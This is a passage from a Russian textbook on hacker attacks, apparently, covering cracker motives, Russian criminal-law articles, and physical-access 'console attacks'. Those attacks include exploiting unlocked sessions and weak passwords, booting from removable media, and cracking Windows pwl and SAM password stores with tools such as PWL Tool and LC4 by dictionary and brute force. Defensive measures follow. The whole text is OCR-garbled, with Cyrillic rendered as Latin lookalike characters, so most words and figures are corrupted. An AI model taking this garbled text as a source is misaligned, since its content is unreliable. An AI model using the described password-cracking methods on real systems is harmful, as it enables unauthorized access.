Tpu cragu. C HeGonbmoif HATSHKKOH MPOheCCHOHANOM MOMKHO TaK-
KE CUMTATh Kpaxepd, KOTOPbIH, MCHOAb3ys AOOBITYIO TPETBHM IH-
oM HHGOPMAIHIO 00 YS3BHMOCTH B CHCTEME, IHIIET €€ MPOrpamMM-
nyro peann3aumio. OCymecTBHTh TPETHIO CTAAHIO, HCTIONb3YS YYXKHE
pa3paborku, MoxeT npakrHueckH kaxaeifi. CoOGcrBeHHO rpynma
XQYKepOs ITHM H 3aHHMACTCA.

OCHOBHEIMH LENAMH KPAKEPOB-GIIOMUHKOS TIPH ATAKE HA UH-
(pOpMALIOHHEBIC CHCTEMBI ABIACTCA:

— HOJNyYEHHE AOCTYIA K HHpOpMAIHHT;

— NONIY4EHHE JOCTYNA K pecypcaM;

— HApymeHue paboTocnocOoDHOCTH KOMIEIOTEDA HITH CETH;

~ OpraHH3auys ILTALAAPMA JUIS ATAK HA APYroil KOMIBIOTED, C
1CNBIO BRIJATE ATAKOBAHHEIH KOMITBIOTED B KAYUECTBEC HCTOYHHKA aTa-
KH;

— TIPOBEPKA H OTIaAKa MEXaHM3MA aTakH.

Ecnu abGcrparmpoBathca OT mpeaMera Kpaxu, To pabora
B3JIOMIIHKOB — 310 00sraHOE BOpoBCTBO. K coxanenmo, B Poccun
nce He Tak mpocTo. KoHeYHO, B3NIOM KOMITBIOTEPHBIX CHCTEM HH B
KOEM CIy¥ac Hemb3s Ha3BaTh JOCTOHHBIM JAENOM, HO B CTPAaHeE, rie
OoyibIas 9acTh HAXOMAMErOCH Yy NOML3OBATENcH MPOrpamMMHOrO
obecreyeHns ABISETCS MUPATCKAM, TO €CTh YKPAJCHHBIM He 6e3 mo-
MOLIM TEX XKE 6IMOMUYUKOE, HUKTO, U3 ITHX IMONb30OBATENCH, HE HMC-
CT MOPATLHOTrO NpaBa «GpOCHTH B HHX KAMCHb».

Xots Mb1 GyZeM pacCMAaTPHBATh XAKEPOE U KPAKEPOE C TO3M-
1Mt 3amuTe KHGOPMAMOHHEIX CHCTEM, HE HYXHO 3a0mIBaTh, 9TO
camMad MHOTOYHCIICHHAN KATETOPHS KpPAKepo8 3aHMMAETCH APYTHMH
BCUIAMM: CHATHEM 3aIHTH ¢ KOMMEPYECKHX BEPCHI MPOrpaMMHBIX
1IPOAYKTOB, M3rOTOBJICHHEM PErMCTPAHOHHBIX KITIOUEH Ui YCIIOBHO
OccnuIaTHBIX POrpaMM H T. II.

Usyqaemerii Hamu npeamMer TpeOyeT 3HAHMA OCHOBHBIX METO-
JIOB aTak, [y MpUHSTHS afCKBaTHLIX Mep 3amuTi. Ho B 3aBepme-
1IMH TICPBOM T/ABBI, XOTEIOCH OBl MPEAYNPENHTH, YTO NMPHMEHEHHE
ONMHCAHHBIX MM MHRIX aJIrOPUTMOB aTak H nporpamm Ge3 cornacus
1/IAETBLA ATAKYEMOI CHCTEMBI KAPAETCS 3aKOHOM.
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CoGerenno B Poccuiickom 3aKOHOZATENBCTBE €CTh TPH CTa-
ThH B ruase 28 — Ilpecrymnenns B cepe xomnbiorepHoil mudop-
Malmu — YTonoBHOro koaekca P®:

Cratea 272: HenpasoMepHsIit JOCTYN K KOMITBIOTCDHOM WH-
dopmanum.

Cratps 273: Co3gaHue, MCHONB30BAaHME M PACIIPOCTPAHEHHE
BPCACHOCHBIX mporpamm A IBM.

Crarps 274: Hapymenne npasun sxcuryarauuu IBM, cucre-
Me! OBM mm ux cern.

K coxanenmio, namneie crate YK Ioxo COOTBETCTBYIOT
JACHCTBUTCIILHOCTH, HET CTATEeH, HANPHMEP, 33 B31IOM IPOrPaMMHOI0
obecnieuenna. GopMaTbHAs TPAKTOBKA HMEIOIMXCS CTATEH MO3BOJLI-
€T IPUBNEYL K YTONOBHOI OTBETCTBCHHOCTH NPAKTUYCCKH JOOOro
NMPOrpaMMHMCTa MM CHCTEMHOTO aAMHHHCTpaTopa (HampuMmep, Ao-
IyCTHBIICTO OIMOKY, KOTOpas MOBJICKIA 3a COOOI NMPHYHHEHHUE O
peaenernoro B YK ymep6a).

IlpuMeHeHME HA MpaKTHKE NPHBEACHHBIX CTATCH YTONIOBHOrO
KOZAEKCA 4PE3BBLMANHO 3aTPyAHEHO. OTO CBA3aHO, BO-TIEPBHIX, CO
CIIOXKHOM JOKAa3yeMOCTbI0 MOROOHMX Jen (CyAs MO 3apyOexHOMy
OIBITY) M, BO-BTOPHIX, C OTCYTCTBHEM Y CIISAOBATeNCH BHICOKOM KBa-
muduxanuy B JaHHOH obnacTu.

Ho ecrm yzaercsa nolimats kpaxepa, T0 K HEMy KPOME BhiLie-
HA3BAHHEIX CTaTEH NMPHMCHAIOTCA M APYTHE CTaTH YTOJOBHOrO KO-
KCKCa, & HMEHHO!

~ Crarssa 129. Knesera;

— Crarsa 130. OckopGnenue;

— Crarsa 159. MomeHnuyecTBO;

— Crarps 183. He3akoHHBIC NOMYYCHUE M PA3rJAMICHHUE CBE-
JCHUH, COCTABIAIOMMX KOMMEPYECKYIO, HAJIOTOBYIO MIM OGaHKOB-
CKYIO TaifHy;

~ Crarnpa 187. MsrotoBneHne win cOBT NOMNEIBHEIX KPEIUT-
HBIX JTHOO PaCYETHRIX KAPT ¥ MHBIX IUIATCKHBIX JOKYMEHTOB;

— Crares 213. Xymurancrso;

— Crates 329. Hagpyrarenscro naa I'ocyaapcTBeHHBIM rep-
6om Poccutickoit ®eneparmu wm I'ocyaapcreennsiM narom Poc-
cuiickoit @eepanmn. (3Ta CTAThA NPUMEHAETCS, €CIU KPAKEDP HAIH-
can «Hacked by ...» noBepx u3obpaxenus poccuiickoro ¢nara.)
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TJIABA 2.
KoncoanHbie aTrakn

Ecnu x xommbliotepy mmeerca (pusmueckuii AOCTyN, 10 MHpak-
THKA MOKA3KIBACT, YTO H3BJICUYCHHE M3 HEro HHGOpMAIMH — BOIIPOC
BPEMCHM.

PaccMOTpHM BO3MOXHEIE BAPHAHTH! KOHCOJIbHBIX ATAK:

1. PaGora B HE3aBEPUICHHOM CEAHCE OTIYYMBINEGIOCH MOIb30-
BaTeNA. ‘
OueHb 9acTO MOIB30BATEHN OCTABIAIOT Komnuorep BKJIIOYCH-
HBIM, YXO/% Ha 0OCACHHEIH NEPEPHIB HIM NIEPEKYP. 3a BpEMS OTCYT-
CTBHSA TMONIB3OBATE/S BIIOMIIMK MOXET COBEPLIATH JIOOHIE, O3BO-
JICHHEIC OTIYIHBIIEMYCS TIONB30BATEMO AcHcTBHA. OH TaKoKe MOXKET
MONBITATECH Y3HATH NAPONM IONE30BATENEH KOMIBIOTEPA, YCTAHO-
BHTh TPOSHCKYIO IPOrpamMMy HITH IEPEXBATYUK HAKHMAEMBIX Klia-
sumn (key logger). Ilpu 3TOM Bee coBepImacMbic BITOMITUKOM ACiHCT-
BHS OYAyT NPHIIMCAHBI OTCYTCTBYIOIIEMY TOIb30BATENIO.

2. Bxox B cuCTEMY C HCHOILb30BAHMEM ITYCTHIX WM NPOCTHIX
napoyei.

Ha muoOrsx xoMmeioTepax y4eTHas 3amuCh AJMHHHCTPATOpa
cospaercsa 6e3 mapons (ocobGenno 3tuMm rpemmt Windows XP). Tak-
KE IOJb30BATENM NOPOii BBOAAT B KA4ECTBE MAPOJIst CBOIO (haMHIHIO,
NOBTOPAIOT B NAPONE YICTHYIO 3AITHCh, & TO M IIPOCTO BBOAAT OJHY
wiIH TpH exuuMikl. [TonoGHEEe «THIOBBIE» HApOIH MOXHO nepedpars
JIOBOJIEHO OBICTPO H, COOTBETCTBEHHO, HOJYYHMTb AOCTYII K XPaHI-
IICHCA Ha KOMNbIOTEPE HHPOPMALIH.

3. 3arpy3ka co CMEHHOIQ HOCHTEJIS.
3arpyska ¢ CHCTEMHO# JUCKETH I03BOJAET MONY4MTh AOCTYII

K JKECTKOMY AHCKY B 00XOJ CHCTEMB! 3aLMHTH YCTAHOBICHHOU oOme-
pamHoHHOH cHCTeMnl. BMECTO AMCKETHI MOXHO MCHOAB30BaTH 3a-
rpy3ky ¢ kommakT gucka, Linux LiveCD, nepenocusrx USB waxomnu-
renel. Ilocne 3arpy3ku co CMEHHOrO HOCHTEIH BIJIOMIIMK MOJKET:

— MOAHGUIMPOBATh XPAHAIHYIOCS HA KOMIbIOTEpE MH(pOpMa-
1{HIO, HANTPHMED, U3MEHHTh HEKOTOPHIE (])amlm ouepaunormon CHC-
TCMBI C LIEBIO €€ ;(a.nmemuero B3IIOMA;
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—~ CKOMMPOBATh XPAHSIIYKOCS HA KOMITHIOTEpE uH(pOpMALHIO,
KaK B BUIE OTACIbHLIX (ailios, Tak U B Bajie 00pasa BCEro XKECTKOro

JUCKA MJIH CTO Ppa3acnos.

4, BanoM naponbHoil Ga3sl ONEPANHOHHON CHCTEMBI.

Llens 3TOr0 BapHAHTA KOHCONBHBIX ATAK, LOJyYEHHE NAPONCH
[OJb30BATENEHR CHCTEMEI, a ITIaBHOE — napoist AAMUHHECTparopa. B
COBPEMEHHBIX OINCPAIMOHHBLIX CHCTEMax Napoiu NOIB30BATENCH
XpaHATCA B cnemuanbHbix Gasax. B Windows 9x 0a3a npeACTaBIsCT
coBoii Habop (aiinoB ¢ MMEHAMHM MOMB3OBATCICH H PACIIMPEHHCM
pwl, B Windows NT, 2000, XP — crienpansHbii paiix sam.

daitau pwl xpaust B cebe HEPOPMAIMIO HE TOIBKO O CHCTCM-
HOM TIApONE MONB30BATENS, HO M O JOTHHAX M NAPOIsIX AOCTYNa K
PATHEHEIM PeCyPCaM —— CETCBBIM MAlKaM, IPoBaHAepy Hrrepuera.
Crpyxrypa pwi-gaiina u3secTHa, CICIOBaTEIbHO, MOXKHO nubo Ha-
TIHCATh CBOIO MPOrPaMMy, M3IBNCKAIONIYIO Napoid, b0 BOCTIONE30-
BATLCA TOTOBBIMHM YTHJIMTaMH, MPHMCHACMBIMH KaK AU BOCCTAHOB-
JieHHs 3a6bITHX MAPONEH, TaK ¥ IS BIIOMA NAPONbHOH 6askl omepa-
LUOHHOH CHCTCMEI.

B xauecrsc mpmmepa paccmorpum yrumary PWL Tool
(Repwl).

Puc. 1. Pesynyrat paGotst rporpammel PWL Tool (Repwl).

Ha npeacraBneHHOM CKPHHILIOTE BHAHO, YTO IOB30BATENb C
uMeHeM «-» (IBa UPOUYEPKA) HE MMEET CHCTEMHOrO Napold, TakKe
BHHB! JAHHBE ABYX MOJEMHHIX MOAKMOYeHMM K mposaiixepy Mu-
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reprera. [Ipu 3amycke mporpamma cama CKkaHHPYET NapolbHyIo Hasy
W BBLAAET pe3ynbTaTsl. Ecim notpebyercs mpocMoTpeTh CONEpKHMOe
pwi-thaiina B3ITOro ¢ APYroro KOMILIOTEPA, TO €r0 MOXKHO 3arpy3uTh
13 TIPOTPAMMY € OMOIIBIO KHONKH «Browse».

B kagecTse npuMepa MpOrpamMMsl BCKPHITHA MAPONBHOH Gasst
Windows NT, 2000, XP paccmorpum mporpammy LC+4. I'masroe
OKHO 3TO# IPOrpamMMBbl IIPHBEACHO HA CICAYIOLIEM CKPHHIIOTE.

EL( 4 [H:\!cg)~1(,'?ru\pwdA33S7,txt]
SHE MBS g
Wi Arsxanocaosapn  MI Tudpinnen araxa #Y Araxa bt rEpetop
Crosocaceapr T BT 26T 0060 % senomend
_IjMﬂ nosso... | LM-napose { NT-napons 1<8 1>18 | IMmw | NTasw i A
) Admiristrator AFBEISECGFBEIBCH...  77BIESMAFTS2EATE..
Guest NOPASSW.. NOPASSW.. « NO PASSWORD NO PASSWORD e
i GASCOPCOIBFBSAGA].. Z7SCCBGECUF20OCE.
2929B7ICOCEFDS.. ACB7EBTIGATBATE.. v
‘L 5 napone waase! (20.000%) P

Puc. 2. Pesynrrar paGotet nporpammet LC+4.

IIporpamma MoxeT, KaKk CkaHApOBaTh Oa3y maponeit onepaim-
OHHOM CHCTEMBI, TaK H H3BJICKaTh UMEHA NOib30BATEIEH M UX IMapo-
u w3 Gaiina sam, NEPENAUCAHHOTO € APYroro KOMOBIOTEPA.

Tocne 3arpy3kn napoasHO# 6a3sl, IporpaMmMa BRIAACT CIHCOK
110/1630BaTENEH ¥ 3HAYCHHE X3Uledl TAPONEH, IO KOTOPSLIM ONpPEACIs-
crea cosnagenue. [loapobuee o xawax mMpr 6yaeM ropopurh B AeCs-
TOM I7TIaBe, ceifuac XKe 3aMETHM, ITO X314 NpeAcTaBaseT coboii 6uro-
8y10 KOMOMHALIHIO, IOIyIacMYIO B PE3yIbTaTe npeodpasoBaHus na-
pors. Kaxasiit pas, koraa nois30Bareab BBOAUT N1ApOJib, BBEACHHAS
koMOMHALIMS CHMBOJIOB HIOXOAMT Yepe3 (GyHKIMIO mpeoOpasoBaHus U
PE3YIALTAT CPABHMBASTCA C 3TANOHOM M3 6a3kl.

Jna nonyueHus CHMBOJIBHOTO napoinst HeoOXomuMo nepeGn-
paTh BO3MOXKHBEIC 3HAUECHHS Napoieit Ao cosnanenus xsuet. [loxob-
nsie QyHKIUM TAKOKS PEAM3OBAHBI B PACCMATPUBACMON HAMH IPO-
rpamme. OHa uMeET TPH aropuT™Ma NOAGOpa Maponei:

— Araka no cnosapio (cnoBapHas ataka, dictionary attack) —
nepebuparoTcs BCe BO3MOXHKIE CloBa u3 (daiina-crnosaps. 3anumaer
MUHHMYM BPEMEHH, HO HE IIOMOJKET €CJIH 3HAUECHMA HCKOMOr'O Iapo-
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as Her B cirosape. CrnoBapHas aTaka MOXKET OBITh PACIIMPEHA 33 CYET
HCIONMb30BaHMA (PYHKUMiT IEPEBOPOTA CNOB, MX TPAHCIMTEpALHY,
CMCHBI PACKJIAJKH H T. 1.

— Araka mocnegoearensHsiM rnepebopoM (araka rpybod cu-
noii, bruteforce attack) — 3axmodaerca B MOCICAOBATEIIbHOM mepe-
6ope BCEX BOSMOXHBLIX KOMOHMHAIMH M3 YKAa3aHHOTO MHOXECTBA
cumBonoB. C MOMOMIBIO 3TOH ATAKH MOXHO BCKPHITH M0O0# napons,
HO BpeMs noADOpa OYECHB BEJIMKO M 3aBHCHT OT JUTHHE NApOJl ¥ HC-
noms3yeMbix B HeM cumBonos. Hampumep, mecrusnaunsil mudpo-
BOH MapOib MOXKET OHITH NMPEACTABICH 10° BapuanTAMB COYETARMIA.
COBpEMEHHHIE KOMIIBIOTEPH PEINAIOT 3Ty 33439y 33 JOJIH CEKYH/bL.
Ecnd mpeAnoNoXuTS, 910 IAPONh COCTOMT He u3 Iudp, a M3 anrmmii-
ckux GyKB, TO KONHYCCTBO BAPHAHTOB BO3pacTeT o 26°~3-10°, noa-
6op mapons B 3TOM Ciryuae 3aiimer okono 5 munyt. Ecnu B naporne u
wadps 1 Gyxssl — 30 MumyT, B Tak ganee. Uem cnoxuee u AIHHHES
[apob, TEM AOJBIIE €r0 MPHICTCS NOAOHpATS.

— I'ubpuanas araxa (koMOMHMpoBaHHAs araka, combined at-
tack) — sBasercs xoMOmHaIpcH ABYX BHIICHPHBEACHHBIX aTak M
npeanonaract A00aBIEHHE K Ha4YaMy M KOHITy CIOBA M3 CIOBaps He-
KOTOPOro KOJMYECTBA MOCAECAOBATEIbHO NEPEOHPAEMBIX CHMBOIIOB.

5. IoaMeHa XKECTKOro AUCKa Ha HepaboTaroumii.
B 3710i1 aTake 3MOYMBIIICHHAK WMHTHPYET BBIXOJ XECTKOTO

JMCKA KOMIBIOTEPA U3 CTPOA, MONydas BCIO XPAaHAIIYIOCS Ha JHCKE
rrOpMAIC JUIS HOCICAYIOHICTO aHAMN3A B CIIOKOHHOH 06CTano0s-
xe. UeM BHUMATEIbHEE OTHOCATCS BIAACHBIBI KOMIBIOTEPA K anma-
paType, TeM CIIOXHEE OCYHIECTBHTS 3Ty araky. Ecivm Bnazenen suaer
TONBKO (HMPMY IPOU3BOAMUTENL H OOBEM, TO 3NOYMBILILICHHUKY NpH-
JASTCS MCKATh aHANOTHYHLEA »xcecTkuii guck. Eciwm Bnanenen xpaHut
cepuiiHEe HOMEPA HIIH KOMIILIOTEP HA TapaHTHH, TO 3OYMBILLICH-
HHUKY HPHAETCA CIIE M MEPEKICHBATH HAKICHKH C HCIIPABHOIO JHCKA
Ha Hepabounii.

6. Kpaxa xommprorepa.

Camplif SKCTpEeMANLHBIH BapHaHT MOMy4eHus dyxuod unbop-
mape. OCHOBHRIMHM HEAOCTATKAMM 3TOrO crocoba ABIACTCA HE
TONBKO NEPEX0] B APYIYIO KATCTOPHIO YTOJOBHBIX NMPECTYIUICHHH H
Oonee nerkmit cnoco® HAWTH BHHOBHOrO, HO H «yBEAOMJICHHME» O
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(haxte momyuenmsa nocryna K HHopmammm. B mupoBoii mpaxrmke
CCThb CITyd4aH, KOTAAQ TIOCHEC KPaXKH BCA OprrexHuka ¢upMmsl, 3a uc-
KJINOYEHHEM 2—3 KOMIBIOTEPOB, OOHAPYXKHBanNach Ha Omokaiimeit
1NOMOHKE.

JU1s opraHM3aIMHA 3aIMUTH KOMITBIOTEPA OT KOHCOJBHAIX aTak
1oTpebyIOTCS M TEXHWYECKHE, M OpPraHM3alUMOHHLIC Mephl. Bce OHH
HANMPABIICHB! HAa 3aTPYAHEHHE AOCTYNA K KOMNBIOTEPY, YBEIHYCHHE
DPCMEHH, 3aTPaYMBAEMOrO Ha MONYYEHME AOCTYNA K HHbOpMalmy,
(prxcammo ¢axra HECAHKIHOHHUPOBAHHOTO AOCTYNA.

Iocnemmee MoxeT mMoka3aTeCi HEOOA3ATENBHEM, HO JTO HE
Tak. QPaKT HECAaHKLMOHHPOBAHHOIO AOCTYNA HE TONBKO CHIHAIM3H-
PyeT 0 HEAOCTATOYHOH 3((PEKTUBHOCTH CHCTEMBI 3aIUTH MHEPOpPMA-
1M, HO ¥ TOBOPHT O HAJIMYIHH Y IOCTOPOHHUX MHTEPECA K XPaHs-
meiics mHGOPMALMH, O BO3MOXHOMN Kpake BaxKHON mHpOpMAIMHU M
t1posicH, 0 BO3MOXHEBIX TIONMKTKAX BMCIIATENHCTBA B JEATCILHOCTD
KOMITAHWH, Ha OCHOBE YKPaJACHHOH MH(OPMAIMH U T. IL.

Urak, kaxse MEpH 3aIMThL MOKHO MPEATIPHHATH C LIEABIO 3a-
IPYIHMTB HIH NPEAOTBPATHTD KOHCONBHYIO aTaKy:

1. 3anper 3arpy3ku co cmenubnx nocureneil. [loapasymesaer
cooTBeTCTBYIOIMME ycTaHoBkH B BIOSe xommbrorepa, mcKmouaro-
IHE BO3MOJKHOCTh 3arpy3Kd ¢ HHBIX HOCHTENICH, KPOME JKECTKOro
ancka. Bosmoxmo raioxe nsparue auckosonos 1 CD(DVD) npuso-
JOB U3 CHCTEMHOTO GIroKa.

2. Ycranorka naponeit Ha BIOS. C sroii npoueaypoii Bce sic-
no. becnonesno orxmrouars B BIOSe ¢ynkipu 3arpy3ku co cMeH-
ubix Hocureneh mwm nopra USB, ecnu mo6oit moker 3aiftta B BIOS
u nce Bkmoants. Ho cnegyer noMuuTs, 9T0 napons MOXHO ¢Opo-
CHTH TICPEMBIYKAMHM HA MATEPUWHCKOH IUIATE, BCKPHITh CICLHAbHbI-
mi yramaTamMu (ecnmd oH Toneko Ha BIOS) wma Bocnons3oBatscs
MINKCHEPHBIMH NAPOJIAMH NpOu3BOAMTENEH MukpocxeM BIOSa.

3. Bribop onepanMoHHON CHCTEMEI ¢ IOAACPXKKOH 1IpaB moc-
YN M TIADOTLHOH 3ammTod. Ecnm MMeercs Takas BO3MOXHOCTD,
nyuure BHIGHpaTh OrepanHoHHbE cucTeMbl cemeiicrsa Windows NT,
Linux ¥ uM moxobuste. Ipuuem mapomm He noipkHB OBITH JETKO
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BCKDHIBAaEMBIMH H JIEXATh OKONO KOMITHIOTEPA. 910 NO3BOIMT 3aMpPE-
THT JOCTYII K PECYPCaM CHCTEMb HE aBTOPHIUPOBAHHBIM O/IL30BA-
TEIIM.

4.0 OHHEIE MEpPBL_I10_ 004 HOU OnoKMpOBKE
KOMITBIOTEDA 1IPH yxoze ¢ pabouero mecta. Toxe moHATHOC Tpebo-
BaHHE — OECHONEe3Hbl BCE MEPHI NPCAOCTOPOKHOCTH, €C/H MOIb30-
BaTeb CaM BBE BCE MAPONM M OCTABHI BKIOUCHHBIH KOMHBIOTED
6e3 sampTat. Ecin Her QpyHKiuH GIOKHPOBKH, MOXHO HCIOIL30BATH

NporpaMMy-CKPHHCEHBED C [IAPOIIEM.

5. Brokuposka u3MYEcKOro AOCTYNA K BHYTPCHHOCTAM KOD-
myca xomisrorepa. IIpeauonaraeT yCTaHOBKY 3amka Ha KOpHyc, Orie-
watmBanMe kopryca. OOecreTHBacT HEBO3MOXHOCTb CKPHITOrO
c6poca Hactpoek BIOSa, craTve 3ariyilek MM MOAKIIONCHHT J0-
HOJHHTEIBHOIO YCTPOMCTBA K BHYTPCHHUM IOPTaM KOMITBIOTEDA.

6. BIoxMpoBKa JOCTYNA K NPUBOAAM CMCHHBIX JHCKOB. Ha-
IpUMep, YCTAHOBKA 3aMMPAIOMCHCH ABEPLE! HA ngpenneﬁ MAHCTH.
TlocTopoHHMii HE CMOXET GHICTPO YCTAHOBHTH CBOM AWCK JULX 3anm-
CH WM YTeHus HH(POPMALIMH C HEro.

7. OTKMIOUEHHC WM YCTAHOBKA, 3ALIYLICK HA MOPTHI USB.
HeoOXx0IUMO B CBS3H ¢ HATWYHMEM ICPEHOCHRIX USB-guckos, CD-
RW mpMBOZOB M APYIOH 3anMCHIBAIONICH anNaparypel. Ecna He
npeanonaraeTes paboTa MOTB3OBATENCH C ITHMH IOPTAMH MX TAIOKE
CIIEAYET OTKIIOYHTD.

K 971oMy TyHKTY MOXHO TAKoke JOOaBHTbL YCTAHOBKY 3arjry-
mex Ha apyrue nopts — COM, LPT, FireWire, eClIH KOMIIBIOTEP HE
NOAKIIOUCH K CETH, TO H HA CETCBOM PasbeM.

Vcnonp3yeMpie PasbeMBl JOJDKHBL 3AIHINATECS C MOMOIIBIO
PasIHMYHOro poJa CTUKEPOB 1 wiomb.

8. Xpanenue uHpopMaLIM O CepUMHBIX HOMEPAX KECTKHX
JMCKOB_M_HPYTHX KOMIUICKTYIOIMMX KOMIBIOTEPA. INo3somsier u3de-

ATH HE3AMETHOM IOAMCHBI JHCKAa WIH JAPYyroro oGopyaoBanys Ha
HEHCIIPABHOE HWITH MOTH(HIMPOBAHHOE.
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9. lporpammuoe mim _anmapatioe IHGPOBAHHE JaHHBIX.
O6esonacut uadopmaiio Jake B Cydac KpakH KoMiibiotepa. 11po-
rpamMHOe mmEdposanue npeanonaracr mubposanue HHGOPMAHE
CPCACTBAMM LCHTPAILHOTO IPOLIECCOpa. ANIIAPATHOE — OTACIBHBIM
kpunronponeccopom. Ilpu mmdposarku creayer y4urbiBaTh, ITO
cnenuduka paboTs COBPEMEHHBIX OMEPAIHOHHBIX CHCTEM H TI0Nb30~
BATCIBCKMX TPOrpaMM IPHMBONAT K CO3JAHHIO HA JKECTKOM AHCKE
MHOXECTBA BpeMEHHHIX GailIoB, KOTOPHE JaXKE YAANCHHEIMH OCTa-
10TCsL Ha xecTkoM aucke. Iloaromy cieayer mubo mmdposaTts u 3TH,
speMennsie, daiins, 6o npuberars K MPONEAYPE OIHCTKH JUCKA.

OzuuM M3 BapHAHTOB anNMAPATHOrO MA(POBAHUA MOIKET OBITH
crcuuaIbHas IuaTa, ycranaBimmsaemas B paspaiB IDE unrepdeiica n
umdpyromas (M, pasyMeeTcs, pacirH(ppoBRIBAIOMASL) BCIO IPOXOIA-
uIyIo uepe3 Hee HHPOPMALMIO «HA NETY».

10.YcrasoBka YCTPOHCTE i MACHTHOHKAIMH [10Ib30BATE-
sigii. OGBIMHO NIPHMEHACTCA KaK JONOIHHTENbHOE CPEACTBO ONpeae-
NICHHSL JTHYHOCTH ITONb30BATENA ITyTeM HPOBEPKH HAIMYHS y HEro
HCKOTOPOro (PH3NIECKOTO HOCHTENS HIM COOTBETCTBHS ONPEXEIICH-
ublx (PH3HICCKIX RAHHBIX.

VYerpoiictBa macHTHOHKAIMK NOMB30BaTENeH OOBYHO AENAT
111 ABA KJIACCa: C UCTIONB30BAHHEM MOKeH08 (HA OCHOBE (PH3UYECKIX
nocureneit) u 6uomempuyeckue (Ha OCHOBE QHINICCKHX AAHHEIX).

Toxen — ycTpoHCTBO, B KOTOPOM XPAaHHTHCH YHMKAJMBHBIH

HAPAMETP, UCIOMB3YyEMEIH A MACHTH(HKAUHY BIAKEAbLA B CHCTE-
MC.

TokeHBl BBHITYCKAIOTCS OOBIYHO B BHAC CMapmxapm, yu@po-
anix kHonok (iButton) n USB-Gpenxoe (USB-moxenut).

Cumapmxapma — npencraBiseT co0oi mpIMOYTOIbHBIH KyCOK
11aCTMACCHI, BHYTPH KOTOPOIrO pacmonoxkeHa mukpocxema. Hampu-
MCP, B COBPEMEHHBIX TAaKCO(OHHEIX anmapaTax jif OIUIATHI Pasro-
NOPOB HMCTIONB3YIOTCS HMEHHO CMapTKapThi. BUAOB cMapTKapT OucHb
MHOTO, HO OCHOBHOE OT/IMYME KPOETCH B (D)YHKIMOHAJIBHOCTH BCTPO-
CIHIDLIX MHKpOCXCM.

B MHKpO4HIT KapTHI, KPOME KOHTPOILIEpA NOAKIIONCHHS, BINH-
10 HeCKONbKO 6n0koB uHbopmaym. YacTs BIMTA HAMEPTBO, B 110-
CTOMHHYIO NaMsiTh — OOBIYHO 3TO HACHTHOHKAIMOHHEIH HOMEp ca-
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MOif KapThl U HEKOTOpas ciyxkeOnas uH(popmarms. Yacts — BO Bpe-
MCHHYI0, 3Heprone3aBucuMyto. OTTyAa CIUTHIBAETCS, 3aANMCHBACTCA
U OepenHchiBaeTca MHGOpMALUA O TONH30BATENE, O KOMHICCTBE
NOAKTIOYCHUH, O BPEMEHH NOAKITIOYCHUS U .

st obecnieueHns PyHKUMOHHPOBAHHUA CMAPTKAPTH K KOMIIb-
I0TEPy HOAKIIIOUACTCS CHEMANbHBIH ONOK MU CUMTHIBAHUA CMapT-
KapT ¥ YCTAHABIHMBACTCA CHCHMAILHBIH IPOrPaMMHLIE KOMILICKC,
npeAcTasasiommii coboif HaGop ApaiiBEpoB U BHEMIHIOW ODONOUKY.
Ecnu madopmammn Ha Kapre me cosBnana ¢ mHdpopmammeil B mpo-
IPaMMHOM KOMILIEKCE, TO KOMIIBIOTEP OCTAHETCs 3a0NOKUpOBaH-
peiM. [Ipu 3TOM akT NOMBITKE HECAHKIHMOHHPOBAHHOTO AOCTYNA
Gyaer 3anucan B xypnan. IIporpamMma Taoke MOXET MOCHaTh CHELH-
JIbHBIA CHTHAN 110 CETH HIIM HA COTOBEIH TenedoH.

CobGcrBenno, Takas CHCTEMA MPEACTABIIET COOOH TOT XKe Ta-
POJIb, TOJNBKO C MPETEH3UIMM HA BeICOKME TexHosoruH. CoorBercT-
BEHHO, HEAOCTATKH Yy Hee Te xke. Bes mHdopmarms, xpansmascs Ha
TaxoM «5E30MacHOM» KOMIIBIOTEpE, JIETKO CYHTHIBACTCA MyTEM NpH-
COCJMHCHYSA BUHYCCTEPA K APYroH MAMHHE, WM MOCIE 3arpy3KH co
CMEHHOrO HOCHTEIIA.

TlooTOMY TakMe CHCTEMBI MCIONL3YIOTCH KpaifHe pPeaxo.
OO6prarO €CHM M IIONMB3YIOTCH CMAPTKAPTAMM, TO C YAAICHHBIMH
KHOYaMH (XpaHUTENAMH CepTH(HKATOB) W/HIIH KPAIITO3AMMTOH.

CmapTraprai-XxpaHwmima cepTuduxaToB ceifdac MOTHO HC-
TONB30BaTh B KpymHeix kopnopaumax. Ceprudmkar moarsepxsacr
TPARO TIOMK30BATENA Ha JIOCTYIT K DECYPCaM MM HCTIONh30BAHHIO
xakux-mubo nporpamM. Harmpmmep, Ha cepBepe KOMITAHMH JICKHT
0aza mapmbrx. C yAaneHHOrO KOMIBIOTEPA K HEH MOXKHO MOIKIIIO-
YUTHCH TONBKO IPH NOMOLM ceprudHKaTa, XpaHAIErocs B cMapT-
xapre. Bam KOMIIBIOTEp TOCKUIAET 3AIPOC, CEPBEP HMOCHIIACT OTBET-
HbIi 3a11poC, MpOrpaMMHas 000JI0UKa CUHTHIBAET cepTHHKAT H OT-
mpasnseT ero Ha cepsep, CepBep €ro mposepser H, B 3aBUCHMOCTH OT
pesyJibTaTa IPOBEPKH, paspemaeT wiH 3anpemaer Aoctyi. Ilpu srom
Ha cepBepe octaercs uHGopMaIHs, YTO C TakOH-TO MaIHHSI, Graro-
Japa TAKOMY-TO CepTH(UKaTy, IPOH3OMEN TAKOH-TO 3aIPOC U T. IL

B cmapTkapThl ¢ KPHNTO3AIMTON BCTPOCHHBI CHELIHAJIGHEIE
kpurrronpoueccopsl. He BraBasce B TeXxHuMeckHe NMOApOOHOCTH, pa-
GOTy KapThi MOXKHO OIKECATH CICAYIOL{HM OOpa3oM: KapTa yCTaHas-
NMBAECTCA B KAPTOBOX, BBOAUTCS IIAPOTh MM ITHH-KOJ, KapTa CBEPAET

24

€ro 3Ha4YCHHE C XpaHAKMCs B namsaTd. Jlanbume Bee 3aBUCHT oT Ha-
crpock ¥ dyHKumit jpafiBepa: MOXHO NPONYCKATH 9€PE3 KPHITO-
TPOLIECCOP KAPThi BCIO OMEPALIMOHHYIO CHCTEMY, XOTS 3TO OTpHLA-
TEABHO CKAXKETCS HA CKOPOCTH €€ palOTH, MOMXHO — OTAEIBHEHIC
nporpammsr. Best BhiGpanmas mudopmatms npoxoaut uepes kpamro-
npoueccop. Ilpu 3amick Ha muck mudpyercs, npu wreHHn — pac-
umposrsaercs. Ects Gonee aemennie BapuanTh cMapTrapT. B Hux
uk(posanme/pacimHdpOBAHHE MPOUCXOTUT B KOMIILIOTEDE, a B Kap-
